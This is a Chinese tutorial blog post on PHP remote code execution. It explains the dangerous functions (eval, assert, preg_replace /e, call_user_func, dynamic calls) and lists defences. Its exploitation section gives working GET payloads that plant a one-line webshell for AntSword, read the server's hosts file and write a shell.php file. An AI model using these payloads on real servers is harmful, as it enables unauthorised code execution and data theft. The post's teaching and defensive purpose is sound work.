RCE原理及利用
RCE(remote command/code execuate)
指应用程序过滤不严,用户可以将代码注入到应用中,最后由服务器来运行代码。如果这样的漏洞存在,相当于得到了shell
成因:1.程序中含有可以执行代码的函数或者语言结构;2.传入第一点的参数,客户端可控,直接修改或影响
相关函数及语句
eval()
eval会将字符串当作php代码执行
assert()
assert()同样会作为php代码执行
preg_replace()
preg_replace()函数的作用是对字符串进行正则处理
参数和返回值如下:
mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit=-1[,int &$count]])
作用:搜索$subject中匹配$pattern的部分,以$replacement进行替换。*当第一个参数$pattern存在e修饰符的时候,$subject的值会被当做php代码执行
call_user_func()
回调函数。call_user_func等函数都有调用其他函数的功能,call_user_func(callable $callback,mixed ...$args),第一个参数$callback为调用的函数名,其他参数为调用函数的参数。如果这个传入参数可控,就存在任意代码执行漏洞
动态函数$a($b)
由于php的特性原因,php的函数支持直接由拼接的方式调用,一旦过滤不严格就会造成代码执行漏洞。
$a为函数名,$b为参数
漏洞利用
直接获取shell
假设是get方法获取输入。提交参数[ ?code=@eval($_REQUEST['1'];) ]。即可构成一句话木马,直接用蚁剑连接即可
获取当前文件的绝对路径
__FILE__ 是php预定义常量,其含义为当前路径。[ ?code=print(__FILE__); ],可以获取当前的绝对路径
读文件
可以利用file_get_contents()函数来读文件,前提是知道路径并且有读权限
提交代码[ ?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts')); ]可以读取服务器中的host文件
写文件
可以通过file_put_contents()函数来写入文件,前提是知道可写目录
提交代码[ ?code=var_dump(file_put_contents($_POST[1],$_POST[2])); ]
然后通过hackbar传递POST参数 [1=shell.php&2=<?php phpinfo(); ?>] ,代码执行后会在当前目录创建一个文件名为shell.php,内容为<?php phpinfo(); ?>的文件
防御方法
1.尽量不要使用eval(),assert()等函数
2.如果使用要进行严格的过滤
3.preg_replace放弃使用/e 修饰符
4.与开发人员联系,将用不到的函数,在php.ini配置文件中禁用
disable_function=assert
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析